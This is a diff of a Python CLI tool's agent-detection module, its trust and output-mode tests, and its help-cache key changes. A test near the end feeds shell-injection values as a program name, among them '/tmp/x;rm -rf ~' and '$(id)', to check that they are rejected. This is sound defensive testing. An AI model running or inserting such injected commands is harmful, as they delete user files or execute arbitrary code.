+    assert agents.is_ai_agent() is True
+    assert_agent_rules(home, monkeypatch)
+
+
+def test_dg_agent_1_alone_keeps_person_trust(home, monkeypatch):
+    monkeypatch.setenv("DG_AGENT", "1")
+    assert agents.agent_mode() is True
+    assert_person_rules(home, monkeypatch)
+
+
+# The hard signals this release adds to the trust rules (0.4.1 had AI_AGENT,
+# CLAUDECODE, CLAUDE_CODE_ENTRYPOINT, CODEX_SANDBOX,
+# CODEX_SANDBOX_NETWORK_DISABLED, CURSOR_AGENT, GEMINI_CLI and Aider's two).
+NEW_SIGNALS = [
+    {"AGENT": "amp"},
+    {"AGENT": "goose"},
+    {"GOOSE_TERMINAL": "1"},
+    {"CLAUDE_CODE": "1"},
+    {"CLAUDE_CODE_IS_COWORK": "1"},
+    {"CODEX_CI": "1"},
+    {"CODEX_THREAD_ID": "t-1"},
+    {"COPILOT_CLI": "1"},
+    {"OPENCODE": "1"},
+    {"ANTIGRAVITY_AGENT": "1"},
+    {"AUGMENT_AGENT": "1"},
+    {"CURSOR_EXTENSION_HOST_ROLE": "agent-exec"},
+    {"PATH": "/home/u/.pi/agent/bin:/usr/bin:/bin"},
+]
+
+
+@pytest.mark.parametrize("env", NEW_SIGNALS, ids=lambda e: "-".join(e))
+def test_each_new_signal_applies_the_agent_rules(home, monkeypatch, env):
+    for name, value in env.items():
+        monkeypatch.setenv(name, value)
+    assert_agent_rules(home, monkeypatch)
+
+
+@pytest.mark.parametrize("env", NEW_SIGNALS, ids=lambda e: "-".join(e))
+def test_each_new_signal_with_dg_agent_0_keeps_the_agent_rules(home, monkeypatch, env):
+    for name, value in env.items():
+        monkeypatch.setenv(name, value)
+    monkeypatch.setenv("DG_AGENT", "0")
+    assert_agent_rules(home, monkeypatch)
+
+
+def test_devin_marker_applies_the_agent_rules(home, monkeypatch, tmp_path):
+    marker = tmp_path / ".devin"
+    marker.write_text("")
+    monkeypatch.setattr(agents, "DEVIN_MARKER", str(marker))
+    assert_agent_rules(home, monkeypatch)
+
+
+def test_trust_reads_the_detection_table():
+    """Every trust check goes through the same function the table feeds."""
+    from deepctl_core import output
+
+    assert output.is_ai_agent is agents.is_ai_agent
+    assert os.environ.get("DG_AGENT") is None
diff --git a/packages/deepctl-core/tests/unit/test_agents.py b/packages/deepctl-core/tests/unit/test_agents.py
new file mode 100644
index 00000000..2a54231c
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_agents.py
@@ -0,0 +1,340 @@
+"""Agent detection: the table, its value rules, DG_AGENT, and the snapshots
+of human terminals that must never count as an AI agent."""
+
+from __future__ import annotations
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+from deepctl_core import agents, output
+
+FIXTURES = Path(__file__).parent / "fixtures" / "agent_env"
+
+# Each variable alone, with a value that sets it, and the agent it names.
+ROWS = [
+    ("AI_AGENT", "github_copilot_vscode_agent", "github_copilot_vscode_agent"),
+    ("AGENT", "amp", "amp"),
+    ("AGENT", "goose", "goose"),
+    ("GOOSE_TERMINAL", "1", "goose"),
+    ("CLAUDECODE", "1", "claude-code"),
+    ("CLAUDE_CODE", "1", "claude-code"),
+    ("CLAUDE_CODE_IS_COWORK", "1", "cowork"),
+    ("CLAUDE_CODE_ENTRYPOINT", "sdk-py", "claude-code"),
+    ("CODEX_SANDBOX", "seatbelt", "codex"),
+    ("CODEX_CI", "1", "codex"),
+    ("CODEX_THREAD_ID", "t-1", "codex"),
+    ("CODEX_SANDBOX_NETWORK_DISABLED", "1", "codex"),
+    ("GEMINI_CLI", "1", "gemini-cli"),
+    ("COPILOT_CLI", "1", "copilot-cli"),
+    ("OPENCODE", "1", "opencode"),
+    ("ANTIGRAVITY_AGENT", "1", "antigravity"),
+    ("AUGMENT_AGENT", "1", "augment-cli"),
+    ("CURSOR_AGENT", "1", "cursor-cli"),
+    ("CURSOR_EXTENSION_HOST_ROLE", "agent-exec", "cursor-cli"),
+    ("OR_APP_NAME", "Aider", "aider"),
+    ("OR_SITE_URL", "https://aider.chat", "aider"),
+]
+
+# Set by people, IDEs or other tools; never a hard signal alone.
+NOT_HARD = [
+    {"OPENCODE_CLIENT": "vscode"},
+    {"CURSOR_TRACE_ID": "abc"},
+    {"TERM_PROGRAM": "kiro"},
+    {"REPL_ID": "r"},
+    {"COPILOT_MODEL": "gpt"},
+    {"COPILOT_ALLOW_ALL": "1"},
+    {"COPILOT_GITHUB_TOKEN": "t"},
+    {"GOOSE_PROVIDER": "openai"},
+    {"TERM_PROGRAM": "vscode", "VSCODE_INJECTION": "1"},
+    {"ZED_TERM": "true"},
+    {"TERMINAL_EMULATOR": "JetBrains-JediTerm"},
+    {"WARP_IS_LOCAL_SHELL_SESSION": "1"},
+    {"CI": "true", "GITHUB_ACTIONS": "true"},
+    {"NO_COLOR": "1"},
+    {"GEMINI_CLI_IDE_SERVER_PORT": "1"},
+    {"AGENT": "claude"},
+    {"CURSOR_EXTENSION_HOST_ROLE": "user"},
+    {"OR_APP_NAME": "other"},
+]
+
+
+@pytest.fixture(autouse=True)
+def _no_devin(monkeypatch, tmp_path):
+    monkeypatch.setattr(agents, "DEVIN_MARKER", str(tmp_path / "no-devin"))
+
+
+def _env(**values: str) -> dict[str, str]:
+    return {"PATH": "/usr/local/bin:/usr/bin:/bin", **values}
+
+
+class TestTable:
+    @pytest.mark.parametrize(("name", "value", "agent_id"), ROWS)
+    def test_each_variable_alone_is_hard(self, name, value, agent_id):
+        env = _env(**{name: value})
+        found = agents.hard_match(env)
+        assert found is not None
+        assert (found.agent_id, found.reason) == (agent_id, name)
+        assert agents.is_ai_agent(env) is True
+        assert agents.agent_mode(env) is True
+
+    @pytest.mark.parametrize("name", sorted({row[0] for row in ROWS}))
+    def test_empty_is_not_set(self, name):
+        assert agents.is_ai_agent(_env(**{name: ""})) is False
+
+    @pytest.mark.parametrize(
+        "name",
+        sorted(
+            {row[0] for row in ROWS}
+            - {"AGENT", "CURSOR_EXTENSION_HOST_ROLE", "OR_APP_NAME", "OR_SITE_URL"}
+        ),
+    )
+    @pytest.mark.parametrize("value", [" ", "   ", "\t"])
+    def test_whitespace_is_set(self, name, value):
+        # Present and not empty, like cli/cli: a blank marker stays a marker,
+        # so trust never loosens on an odd value.
+        assert agents.is_ai_agent(_env(**{name: value})) is True
+
+    def test_blank_ai_agent_is_unknown(self):
+        found = agents.hard_match(_env(AI_AGENT=" "))
+        assert found is not None and found.agent_id == "unknown"
+
+    def test_every_env_row_is_listed(self):
+        assert {row[0] for row in ROWS} == set(agents.HARD_ENV_VARS)
+
+    def test_every_row_names_a_known_source(self):
+        for signal in agents.HARD_SIGNALS:
+            assert signal.sources, signal.name
+            assert set(signal.sources) <= set(agents.SOURCES), signal.name
+        for url in agents.SOURCES.values():
+            assert url.startswith("https://github.com/")
+
+    @pytest.mark.parametrize("env", NOT_HARD)
+    def test_not_hard(self, env):
+        assert agents.is_ai_agent(_env(**env)) is False
+
+    @pytest.mark.parametrize(
+        ("value", "agent_id"),
+        [
+            ("claude-code_2-1-312_agent", "claude-code_2-1-312_agent"),
+            ("has space", "unknown"),
+            ("x" * 65, "unknown"),
+            ("semi;colon", "unknown"),
+        ],
+    )
+    def test_ai_agent_value_rule(self, value, agent_id):
+        found = agents.hard_match(_env(AI_AGENT=value))
+        assert found is not None and found.agent_id == agent_id
+
+    def test_amp_wins_over_claudecode(self):
+        found = agents.hard_match(_env(AGENT="amp", CLAUDECODE="1"))
+        assert found is not None and found.agent_id == "amp"
+
+    def test_ai_agent_comes_first(self):
+        found = agents.hard_match(_env(AI_AGENT="x", CLAUDECODE="1"))
+        assert found is not None and found.reason == "AI_AGENT"
+
+    @pytest.mark.parametrize(
+        "path",
+        [
+            "/home/u/.pi/agent/bin:/usr/bin",
+            "C:\\Users\\u\\.pi\\agent\\bin;C:\\Windows",
+        ],
+    )
+    def test_pi_path_entry(self, path):
+        found = agents.hard_match({"PATH": path})
+        assert found is not None
+        assert (found.agent_id, found.session) == ("pi", True)
+        assert found.reason == "a .pi/agent entry in PATH"
+
+    def test_pi_needs_a_path_segment(self):
+        assert agents.is_ai_agent({"PATH": "/opt/xpi/agent:/usr/bin"}) is False
+
+    @pytest.mark.skipif(sys.platform == "win32", reason="POSIX marker file")
+    def test_devin_marker_file(self, monkeypatch, tmp_path):
+        marker = tmp_path / ".devin"
+        marker.write_text("")
+        monkeypatch.setattr(agents, "DEVIN_MARKER", str(marker))
+        found = agents.hard_match(_env())
+        assert found is not None
+        assert (found.agent_id, found.reason, found.session) == (
+            "devin",
+            str(marker),
+            True,
+        )
+
+
+class TestSnapshots:
+    """Environments captured from (or documented for) real terminals."""
+
+    @staticmethod
+    def _load(name: str) -> tuple[dict, dict[str, str]]:
+        data = json.loads((FIXTURES / f"{name}.json").read_text(encoding="utf-8"))
+        return data["_meta"], data["env"]
+
+    @pytest.mark.parametrize(
+        "name", ["vscode", "cursor", "jetbrains", "warp", "zed", "github-actions"]
+    )
+    def test_human_terminals_and_ci_are_not_ai_agents(self, name):
+        meta, env = self._load(name)
+        assert meta["agent"] is None
+        assert meta["sanitising"]
+        assert agents.is_ai_agent(env) is False
+        assert agents.agent_mode(env) is False
+        assert agents.detect(env, []).agent_id is None
+
+    def test_github_actions_is_soft(self):
+        _, env = self._load("github-actions")
+        detection = agents.detect(env, [])
+        assert (detection.hard, detection.soft, detection.reason) == (
+            False,
+            True,
+            "CI",
+        )
+
+    def test_claude_code_capture_is_hard(self):
+        meta, env = self._load("claude-code-in-vscode")
+        found = agents.hard_match(env)
+        assert found is not None
+        assert found.agent_id == meta["agent"]
+        assert found.reason == "AI_AGENT"
+
+    def test_fixtures_hold_no_secrets(self):
+        for path in FIXTURES.glob("*.json"):
+            env = json.loads(path.read_text(encoding="utf-8"))["env"]
+            for name in env:
+                assert not any(
+                    word in name for word in ("KEY", "TOKEN", "SECRET", "DEEPGRAM_")
+                ), (path.name, name)
+
+
+class TestOverride:
+    def test_dg_agent_1_turns_agent_mode_on(self):
+        env = _env(DG_AGENT="1")
+        assert agents.agent_mode(env) is True
+        assert agents.is_agentic(env, []) is True
+        detection = agents.detect(env, [])
+        assert (detection.hard, detection.agent_id, detection.reason) == (
+            True,
+            "dg-agent-1",
+            "DG_AGENT",
+        )
+
+    def test_dg_agent_1_does_not_mark_an_ai_agent_for_trust(self):
+        assert agents.is_ai_agent(_env(DG_AGENT="1")) is False
+
+    def test_dg_agent_0_turns_agent_mode_off(self):
+        env = _env(DG_AGENT="0", CLAUDECODE="1", CI="true")
+        assert agents.agent_mode(env) is False
+        assert agents.is_agentic(env, ["--non-interactive"]) is False
+        assert agents.detect(env, []).hard is False
+
+    def test_dg_agent_0_keeps_trust_strict(self):
+        # Trust reads the raw markers: DG_AGENT=0 never loosens it.
+        env = _env(DG_AGENT="0", CLAUDECODE="1")
+        assert agents.is_ai_agent(env) is True
+        assert agents.detect(env, []).marker is not None
+
+    @pytest.mark.parametrize("value", ["", "2", "yes", "true", "on"])
+    def test_other_values_are_ignored(self, value):
+        assert agents.override(_env(DG_AGENT=value)) is None
+        assert agents.agent_mode(_env(DG_AGENT=value)) is False
+        assert agents.agent_mode(_env(DG_AGENT=value, CLAUDECODE="1")) is True
+
+    def test_output_agent_mode_follows_override(self, monkeypatch):
+        monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+        monkeypatch.setenv("DG_AGENT", "0")
+        assert output.agent_mode() is False
+        monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+        monkeypatch.setenv("DG_AGENT", "1")
+        assert output.agent_mode() is True
+        monkeypatch.delenv("DG_AGENT")
+        assert output.agent_mode() is False
+
+
+class TestSoft:
+    @pytest.fixture
+    def tty(self, monkeypatch):
+        monkeypatch.setattr("sys.stdin.isatty", lambda: True)
+        monkeypatch.setattr("sys.stdout.isatty", lambda: True)
+
+    def test_flags_only_before_double_dash(self, tty):
+        env = _env(TERM="xterm")
+        assert agents.soft_reason(env, ["listen", "--non-interactive"]) == (
+            "--non-interactive"
+        )
+        assert agents.soft_reason(env, ["api", "--", "--agent-friendly"]) is None
+
+    def test_no_color_never_counts(self, monkeypatch):
+        monkeypatch.setattr("sys.stdin.isatty", lambda: False)
+        monkeypatch.setattr("sys.stdout.isatty", lambda: False)
+        assert agents.soft_reason(_env(TERM="xterm", NO_COLOR="1"), []) is None
+        assert agents.soft_reason(_env(TERM="dumb"), []) == "no terminal"
+
+
+def test_stdlib_only():
+    """Detection runs before anything heavy loads; it imports only stdlib."""
+    code = (
+        "import sys; before = set(sys.modules); import deepctl_core.agents; "
+        "new = set(sys.modules) - before; "
+        "bad = sorted(m for m in new if m.split('.')[0] in "
+        "('rich','click','pydantic','httpx','yaml','deepgram','keyring')); "
+        "print(','.join(bad))"
+    )
+    out = subprocess.run(
+        [sys.executable, "-c", code], capture_output=True, text=True, check=True
+    )
+    assert out.stdout.strip() == ""
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="needs a pty")
+@pytest.mark.parametrize(
+    ("env", "ansi"),
+    [
+        ({}, True),
+        ({"NO_COLOR": "1"}, False),
+        ({"NO_COLOR": "1", "FORCE_COLOR": "1"}, False),
+        ({"CLAUDECODE": "1"}, False),
+        ({"CLAUDECODE": "1", "DG_AGENT": "0"}, True),
+    ],
+)
+def test_console_on_a_terminal_honors_no_color(env, ansi):
+    """On a terminal, colour and styles only for a person without NO_COLOR."""
+    import os
+    import pty
+
+    code = (
+        "from deepctl_core import output\n"
+        "output.console.print('[red]x[/red] [dim]y[/dim] [bold]z[/bold]')\n"
+        "output.stderr_console.print('[yellow]w[/yellow] [dim]v[/dim]')\n"
+    )
+    clean = {
+        k: v
+        for k, v in os.environ.items()
+        if k not in (*agents.HARD_ENV_VARS, "DG_AGENT", "NO_COLOR", "FORCE_COLOR", "CI")
+    }
+    master, slave = pty.openpty()
+    proc = subprocess.run(
+        [sys.executable, "-c", code],
+        stdin=slave,
+        stdout=slave,
+        stderr=slave,
+        env={**clean, "TERM": "xterm-256color", "PATH": "/usr/bin:/bin", **env},
+        timeout=60,
+        check=True,
+    )
+    os.close(slave)
+    out = b""
+    while True:
+        try:
+            chunk = os.read(master, 4096)
+        except OSError:
+            break
+        if not chunk:
+            break
+        out += chunk
+    os.close(master)
+    assert proc.returncode == 0
+    assert (b"\x1b[" in out) is ansi, out
diff --git a/packages/deepctl-core/tests/unit/test_output.py b/packages/deepctl-core/tests/unit/test_output.py
index 79a5b98d..7aacafde 100644
--- a/packages/deepctl-core/tests/unit/test_output.py
+++ b/packages/deepctl-core/tests/unit/test_output.py
@@ -6,6 +6,7 @@
 import pytest
 import yaml
 from deepctl_core.output import (
+    AI_AGENT_ENV_MARKERS,
     OutputFormatter,
     get_console,
     is_agentic,
@@ -27,16 +28,7 @@ def baseline(self, monkeypatch):
         monkeypatch.setattr("sys.argv", ["dg", "listen", "foo.wav"])
         monkeypatch.setattr("sys.stdin.isatty", lambda: True)
         monkeypatch.setattr("sys.stdout.isatty", lambda: True)
-        for var in (
-            "CI",
-            "CLAUDECODE",
-            "CLAUDE_CODE_ENTRYPOINT",
-            "CODEX_SANDBOX",
-            "CODEX_SANDBOX_NETWORK_DISABLED",
-            "OR_APP_NAME",
-            "OR_SITE_URL",
-            "NO_COLOR",
-        ):
+        for var in (*AI_AGENT_ENV_MARKERS, "CI", "NO_COLOR", "DG_AGENT"):
             monkeypatch.delenv(var, raising=False)
         monkeypatch.setenv("TERM", "xterm-256color")
 
@@ -66,14 +58,14 @@ def test_agent_friendly_flag_anywhere_in_argv(self, baseline, monkeypatch, argv)
         monkeypatch.setattr("sys.argv", argv)
         assert is_agentic() is True
 
-    @pytest.mark.parametrize("ci_value", ["1", "true"])
+    @pytest.mark.parametrize("ci_value", ["1", "true", "TRUE", " True "])
     def test_ci_env_var_is_hard_signal(self, baseline, monkeypatch, ci_value):
         monkeypatch.setenv("CI", ci_value)
         assert is_agentic() is True
 
     @pytest.mark.parametrize(
         "ci_value",
-        ["false", "0", "", "yes", "TRUE"],
+        ["false", "0", "", "yes"],
     )
     def test_other_ci_values_do_not_count(self, baseline, monkeypatch, ci_value):
         monkeypatch.setenv("CI", ci_value)
@@ -109,11 +101,13 @@ def test_two_soft_signals_not_enough(self, baseline, monkeypatch):
         monkeypatch.setattr("sys.stdout.isatty", lambda: False)
         assert is_agentic() is False
 
-    def test_three_soft_signals_trip_threshold(self, baseline, monkeypatch):
+    def test_no_color_is_not_a_soft_signal(self, baseline, monkeypatch):
+        # NO_COLOR asks for no colour, nothing more: it never adds to the
+        # score that switches output to JSON.
         monkeypatch.setattr("sys.stdin.isatty", lambda: False)
         monkeypatch.setattr("sys.stdout.isatty", lambda: False)
         monkeypatch.setenv("NO_COLOR", "1")
-        assert is_agentic() is True
+        assert is_agentic() is False
 
     def test_dumb_term_counts_as_soft_signal(self, baseline, monkeypatch):
         monkeypatch.setattr("sys.stdin.isatty", lambda: False)
@@ -491,3 +485,51 @@ def test_setup_output_imports_no_rich(self, tmp_path):
         )
         assert proc.returncode == 0, proc.stderr
         assert proc.stdout == ""
+
+
+class TestProgAndColour:
+    def test_invoked_prog_prefers_prog_name_env(self, monkeypatch):
+        from deepctl_core.output import invoked_prog
+
+        monkeypatch.setenv("DEEPCTL_PROG_NAME", "deepgram")
+        assert invoked_prog() == "deepgram"
+
+    def test_invoked_prog_falls_back_to_dg(self, monkeypatch):
+        from deepctl_core.output import invoked_prog
+
+        monkeypatch.delenv("DEEPCTL_PROG_NAME", raising=False)
+        monkeypatch.setattr("sys.argv", ["/opt/python3", "-c"])
+        assert invoked_prog() == "dg"
+
+    @pytest.mark.parametrize(
+        "value", ["/tmp/x;rm -rf ~", "dg\x1b[2J", "a/b", "dg name", "$(id)", "-h"]
+    )
+    def test_invoked_prog_ignores_a_name_that_isnt_plain(self, monkeypatch, value):
+        from deepctl_core.output import invoked_prog
+
+        monkeypatch.setenv("DEEPCTL_PROG_NAME", value)
+        monkeypatch.setattr("sys.argv", ["/opt/python3", "-c"])
+        assert invoked_prog() == "dg"
+
+    @pytest.mark.parametrize(
+        ("agentic", "tty", "env", "expected"),
+        [
+            (False, True, {}, True),
+            (False, True, {"NO_COLOR": "1"}, False),
+            (False, True, {"TERM": "dumb"}, False),
+            (False, False, {}, False),
+            (False, False, {"FORCE_COLOR": "1"}, True),
+            (True, True, {}, False),
+        ],
+    )
+    def test_stderr_color(self, monkeypatch, agentic, tty, env, expected):
+        from deepctl_core import output
+
+        monkeypatch.setitem(output._output_config, "agentic", agentic)
+        for name in ("NO_COLOR", "FORCE_COLOR"):
+            monkeypatch.delenv(name, raising=False)
+        monkeypatch.setenv("TERM", "xterm")
+        for name, value in env.items():
+            monkeypatch.setenv(name, value)
+        monkeypatch.setattr("sys.stderr.isatty", lambda: tty, raising=False)
+        assert output.stderr_color() is expected
diff --git a/packages/deepctl-shared-utils/src/deepctl_shared_utils/diagnostics.py b/packages/deepctl-shared-utils/src/deepctl_shared_utils/diagnostics.py
index e01979fe..8f7edeb1 100644
--- a/packages/deepctl-shared-utils/src/deepctl_shared_utils/diagnostics.py
+++ b/packages/deepctl-shared-utils/src/deepctl_shared_utils/diagnostics.py
@@ -1,6 +1,5 @@
 """Plain-text diagnostic output shared by utilities outside deepctl-core."""
 
-import os
 import sys
 from typing import TextIO
 
@@ -8,45 +7,30 @@
 
 
 def is_non_interactive() -> bool:
-    """Mirror deepctl-core's agent and non-interactive output policy.
+    """Agent or automation, as ``deepctl_core.output.is_agentic`` decides.
 
-    Shared utilities intentionally do not depend on deepctl-core, so keep this
-    lightweight detection aligned with ``deepctl_core.output.is_agentic``.
+    ``deepctl_core.agents`` is stdlib only, so importing it here costs
+    nothing that core's console doesn't already pay.
     """
-    env = os.environ
-
-    if "--non-interactive" in sys.argv or "--agent-friendly" in sys.argv:
-        return True
-    if env.get("CI") in ("true", "1"):
-        return True
-    if env.get("CLAUDECODE") or env.get("CLAUDE_CODE_ENTRYPOINT"):
-        return True
-    if env.get("CODEX_SANDBOX") or env.get("CODEX_SANDBOX_NETWORK_DISABLED"):
-        return True
-    if env.get("OR_APP_NAME") == "Aider" or "aider" in env.get("OR_SITE_URL", ""):
-        return True
-
-    score = 0
-    if not sys.stdin.isatty():
-        score += 1
-    if not sys.stdout.isatty():
-        score += 1
-    if not env.get("TERM") or env.get("TERM") == "dumb":
-        score += 1
-    if "NO_COLOR" in env:
-        score += 1
-
-    return score >= 3
+    from deepctl_core.agents import is_agentic
+
+    return is_agentic()
 
 
 def create_diagnostic_console(
     *, file: TextIO | None = None, force_terminal: bool | None = None
 ) -> Console:
     """Create a stderr diagnostic console with the shared plain-text policy."""
+    from deepctl_core.agents import no_color
+
     non_interactive = is_non_interactive()
+    # Plain text for agents and under NO_COLOR (rich alone keeps bold and
+    # dim); never no_color=False, so rich honors FORCE_COLOR and TERM.
+    plain = non_interactive or no_color()
     return Console(
         file=file or sys.stderr,
         force_terminal=force_terminal,
-        no_color=non_interactive,
+        no_color=True if plain else None,
+        color_system=None if plain else "auto",
         highlight=not non_interactive,
     )
diff --git a/src/deepctl/_cache.py b/src/deepctl/_cache.py
index 5c287477..e42900b8 100644
--- a/src/deepctl/_cache.py
+++ b/src/deepctl/_cache.py
@@ -44,6 +44,9 @@
 
 FORMAT = 1
 
+# The project file, read from the working directory.
+PROJECT_FILE = "deepgram.yaml"
+
 # Environment variables root --help output, or the plugin set, depends on.
 HELP_ENV_VARS = (
     "COLUMNS",
@@ -264,16 +267,27 @@ def _read_private(path: str) -> bytes | None:
 
 
 def file_state(path: str) -> dict[str, Any]:
-    """What the help-cache key records about one file or directory."""
+    """What the help-cache key records about one file or directory.
+
+    ``mode`` and ``uid`` are there because the trust checks read them and
+    chmod or chown changes neither mtime nor size. A path ``stat`` can't
+    follow but ``lstat`` finds (a dangling symlink) is recorded from
+    ``lstat``, so a reader's ``stat`` fails on it and never matches;
+    ``absent`` means not even ``lstat`` finds it."""
     try:
         info = os.stat(path)
     except OSError:
-        return {"path": path, "absent": True}
+        try:
+            info = os.lstat(path)
+        except OSError:
+            return {"path": path, "absent": True}
     return {
         "path": path,
         "mtime_ns": info.st_mtime_ns,
         "size": info.st_size,
         "inode": info.st_ino,
+        "mode": info.st_mode,
+        "uid": info.st_uid,
     }
 
 
@@ -318,26 +332,33 @@ def plugin_state_paths() -> list[str]:
     return list(dict.fromkeys(paths))
 
 
-def _plugin_dir_trust() -> list[Any]:
-    """Owner and mode of dg's own plugin directories (``.deepctl``,
-    ``.deepctl/plugins``, the venv) under each home: what the plugin
-    loader's trust check reads. chmod and chown change neither mtime nor
-    size, so the stamp records them itself."""
+def _plugin_dirs() -> list[str]:
+    """dg's own plugin directories (``.deepctl``, ``.deepctl/plugins``,
+    the venv) under each home: the ones the plugin loader's trust check
+    reads the owner and mode of."""
     homes = {os.path.expanduser("~")}
     real = _real_home()
     if real:
         homes.add(real)
-    trust: list[Any] = []
+    paths: list[str] = []
     for home in sorted(homes):
         dot = os.path.join(home, ".deepctl")
         plugins = os.path.join(dot, "plugins")
-        for path in (dot, plugins, os.path.join(plugins, "venv")):
-            try:
-                info = os.stat(path)
-            except OSError:
-                trust.append([path, None])
-                continue
-            trust.append([path, info.st_mode, info.st_uid])
+        paths += [dot, plugins, os.path.join(plugins, "venv")]
+    return paths
+
+
+def _plugin_dir_trust() -> list[Any]:
+    """Owner and mode of ``_plugin_dirs``. chmod and chown change neither
+    mtime nor size, so the stamp records them itself."""
+    trust: list[Any] = []
+    for path in _plugin_dirs():
+        try:
+            info = os.stat(path)
+        except OSError:
+            trust.append([path, None])
+            continue
+        trust.append([path, info.st_mode, info.st_uid])
     return trust
 
 
@@ -600,15 +621,23 @@ def help_width() -> int:
 def key_inputs() -> dict[str, Any]:
     """The interpreter, files and environment variables root ``--help``
     output depends on, as the key records them. ``run()`` takes this before
-    rendering, and ``write_help`` writes nothing unless it still holds."""
-    files = [file_state(p) for p in plugin_state_paths()]
-    files.append(file_state(_default_config_file()))
+    rendering, and ``write_help`` writes nothing unless it still holds.
+
+    Besides the plugin set and the user config, the key records the
+    project file in the working directory (``cwd_relative``, so a reader
+    looks in its own) and every input of the agent detection table
+    (``deepctl_core.agents.hard_inputs``): a key written by a person is
+    never served to an agent session, nor under other trust state."""
+    env_names, marker_files = _agent_markers()
+    paths = [*plugin_state_paths(), *_plugin_dirs(), _default_config_file()]
+    files = [file_state(p) for p in dict.fromkeys([*paths, *marker_files])]
+    files.append({**file_state(PROJECT_FILE), "cwd_relative": True})
     return {
         "executable": sys.executable,
         "files": files,
         "env": {
             name: os.environ.get(name, None)
-            for name in sorted(set(HELP_ENV_VARS) | set(_agent_markers()))
+            for name in sorted(set(HELP_ENV_VARS) | set(env_names))
         },
     }
 
@@ -639,10 +668,12 @@ def help_key(
     }
 
 
-def _agent_markers() -> tuple[str, ...]:
-    from deepctl_core.output import AI_AGENT_ENV_MARKERS
+def _agent_markers() -> tuple[tuple[str, ...], tuple[str, ...]]:
+    """The variables (``DG_AGENT`` too) and files agent detection reads."""
+    from deepctl_core.agents import OVERRIDE_VAR, hard_inputs
 
-    return AI_AGENT_ENV_MARKERS
+    env_names, files = hard_inputs()
+    return (*env_names, OVERRIDE_VAR), files
 
 
 def _default_config_file() -> str:
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index a5a899a6..5faaef33 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -100,7 +100,7 @@ def show(self, file: Any = None) -> None:  # noqa: ARG002 (stderr/stdout)
         from deepctl_core import output
 
         install_hint = H_DEPENDENCY_REINSTALL.format(prog=self.prog)
-        if output.is_agentic() or output.is_ai_agent():
+        if output.is_agentic() or output.agent_mode():
             hint = A_DEPENDENCY.format(
                 prog=self.prog,
                 dependency=self.dependency,
diff --git a/tests/unit/test_cache.py b/tests/unit/test_cache.py
index bf5a3daa..dfe97877 100644
--- a/tests/unit/test_cache.py
+++ b/tests/unit/test_cache.py
@@ -15,6 +15,8 @@
 import jsonschema
 import pytest
 
+from deepctl_core.agents import HARD_ENV_VARS
+
 from deepctl import _cache, _cli, _manifest
 
 if TYPE_CHECKING:
@@ -22,17 +24,7 @@
 
 REPO = Path(__file__).resolve().parents[2]
 KEY_SCHEMA = REPO / "docs" / "contracts" / "help-cache-key.schema.json"
-AGENT_VARS = (
-    "AI_AGENT",
-    "CLAUDECODE",
-    "CLAUDE_CODE_ENTRYPOINT",
-    "CODEX_SANDBOX",
-    "CODEX_SANDBOX_NETWORK_DISABLED",
-    "CURSOR_AGENT",
-    "GEMINI_CLI",
-    "OR_APP_NAME",
-    "OR_SITE_URL",
-)
+AGENT_VARS = (*HARD_ENV_VARS, "DG_AGENT")
 
 
 class Homes:
@@ -132,8 +124,8 @@ def test_clean_run_writes_a_private_entry_under_the_real_home(
         del schema["properties"]["files"]["maxItems"]
         jsonschema.validate(recorded, schema)
         assert recorded["prog"] == "dg" and recorded["isatty"] is False
-        assert not any("deepgram.yaml" in f["path"] for f in recorded["files"])
-        assert not any("cwd_relative" in f for f in recorded["files"])
+        project = [f for f in recorded["files"] if f.get("cwd_relative")]
+        assert project == [{"path": "deepgram.yaml", "absent": True, "cwd_relative": True}]
         for name in (
             "DEEPCTL_TELEMETRY_DISABLED",
             "DEEPCTL_TELEMETRY",
@@ -279,7 +271,10 @@ def test_key_size_in_a_bundle_configuration(
         key = _cache.help_key("dg", 80, False, b"")
         assert len(key["files"]) <= _cache.MAX_KEY_FILES == 32
         assert _cache.MAX_KEY_ENV == 64
-        assert len(key["env"]) == 21
+        assert len(key["env"]) == len(
+            set(_cache.HELP_ENV_VARS) | set(AGENT_VARS) | {"PATH"}
+        )
+        assert len(key["env"]) <= _cache.MAX_KEY_ENV
 
 
 def _poison(stamp: str, commands: list[dict[str, Any]]) -> None:
@@ -606,6 +601,103 @@ def test_entry_names_are_ascii(self) -> None:
         )
 
 
+def _key_files() -> dict[str, dict[str, Any]]:
+    return {f["path"]: f for f in _cache.key_inputs()["files"]}
+
+
+class TestKeyTrustAndAgentState:
+    """The key changes with every input that changes the help output or
+    the trust and agent decisions behind it."""
+
+    def test_plugin_dir_mode_and_owner_are_keyed(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        plugins = homes.home / ".deepctl" / "plugins"
+        plugins.mkdir(parents=True, mode=0o700)
+        before = _cache.key_inputs()
+        for path in (homes.home / ".deepctl", plugins):
+            item = _key_files()[str(path)]
+            assert item["mode"] == path.stat().st_mode
+            assert item["uid"] == os.getuid()
+        mtime = plugins.stat().st_mtime_ns
+        os.chmod(plugins, 0o777)
+        os.utime(plugins, ns=(mtime, mtime))
+        assert _cache.key_inputs() != before
+        assert stat.S_IMODE(_key_files()[str(plugins)]["mode"]) == 0o777
+
+    def test_config_mode_is_keyed(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        config = Path(_cache._default_config_file())
+        config.parent.mkdir(parents=True)
+        config.write_text("output: json\n")
+        os.chmod(config, 0o600)
+        before = _cache.key_inputs()
+        mtime = config.stat().st_mtime_ns
+        os.chmod(config, 0o666)
+        os.utime(config, ns=(mtime, mtime))
+        assert _cache.key_inputs() != before
+        assert stat.S_IMODE(_key_files()[str(config)]["mode"]) == 0o666
+
+    def test_project_file_in_the_working_directory_is_keyed(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+    ) -> None:
+        work = tmp_path / "proj"
+        work.mkdir()
+        monkeypatch.chdir(work)
+        before = _key_files()["deepgram.yaml"]
+        assert before == {"path": "deepgram.yaml", "absent": True, "cwd_relative": True}
+        (work / "deepgram.yaml").write_text("api:\n  base_url: x\n")
+        after = _key_files()["deepgram.yaml"]
